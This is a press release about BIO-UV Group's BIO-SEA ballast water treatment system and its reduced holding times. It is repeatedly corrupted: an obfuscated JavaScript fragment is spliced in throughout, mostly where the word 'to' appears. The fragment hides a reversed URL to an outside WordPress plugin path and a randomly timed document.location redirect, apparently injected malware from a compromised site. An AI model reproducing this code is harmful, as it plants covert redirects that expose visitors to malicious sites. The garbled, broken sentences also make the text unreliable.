BIO-UV Group has completed successfully the testing of an enhanced BIO-SEA ballast water treatment system designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reduce further the time in which treated water has toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be held onboard prior toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discharge overboard.
Holding time is the minimum period between the uptake and discharge of ballast water toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ensure it has been properly treated.
The technical advancement BIO-UV Group has made in UV-C technology, however, has shown that holding time can be reduced also in brackish water open seas.
Xavier Deval, Business Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, BIO-SEA, said: “Successful testing has verified the technical improvements toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the BIO-SEA ballast water treatment system by cutting minimum holding time down toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zero hours for fresh water, 20 hours for brackish water, 24 hours for marine water, at flowrate.
“This is by far the lowest hold time on the market for UV-based BWTS and allows for easier and faster operations for ship owners trading in all different water types.”
While the development means BIO-SEA has the lowest holding time for any UV-based BWTS currently on the market, tests have indicated the potential for zero holding in all waters.
The testing protoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocol for UV systems requires a holding time between treatments at water uptake and discharge toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ensure that microorganisms are fully inactivated. “A ballast water technology certified toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reduce holding time provides unequivocal proof of efficiency,” said Mr Deval.
Based on more than 20 years’ experience in UV-based water treatment, BIO-UV Group’s cutting-edge technology has achieved outstanding results: the shortest ballast water holding time without impacting treatment rate capacity (TRC) at full flow. This, with only one unit and from the same design and technology introduced toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the market eight years ago.
“The first design was the right one, which demonstrates the in-house know-how of BIO-UV Group’s engineers,” said Benoît Gillmann, BIO-UV Group’s President and CEO.
Ship owners with short sea shipping routes are directly affected by holding times in their operations, hence BIO-UV Group’s focus toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to optimise BIO-SEA toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reduce this important operating parameter. Treatment technologies that have not been certified for reduced holding time can delay ship operations, costing ship owners dearly.
“This is of great importance for ships sailing in US waters, especially in the Great Lakes where the time between ballasting and de ballasting is short and where ship-owners always ask for greater operational flexibility. But it will also be true everywhere else in the world with the coming new G8 requirements from 2020,” added Mr Gillmann.
BIO-UV Group has achieved favourable holding time reductions by optimising the UV dosage rate. UV lamps operate with two treatment levels, one toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deliver enough power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to treat ballast water according toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to IMO/MPN requirements (30-2000m3/h) another toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to power up the lamps for USCG/CMFDA standards (55-1400m3/h).
To date, about 150 vessels have been installed with the BIO-SEA system. In addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to CMA CGM other ship owners that favour the company’s technology include Louis Dreyfus Armateurs, Damen Green, MSC Cruises, Royal Caribbean Cruise International and CGGVeritas, amongst others.